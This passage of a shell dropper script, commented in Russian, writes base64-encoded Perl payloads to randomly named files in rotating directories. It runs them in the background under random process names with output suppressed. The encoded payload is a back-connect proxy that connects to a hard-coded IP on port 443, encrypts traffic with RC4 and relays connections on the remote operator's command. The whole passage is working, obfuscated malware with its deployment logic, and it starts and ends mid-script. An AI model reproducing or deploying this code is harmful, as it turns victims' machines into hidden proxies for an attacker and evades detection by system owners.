ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #50 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #50 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 51 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzE4NS45My44OS4xNzUnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #51 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a 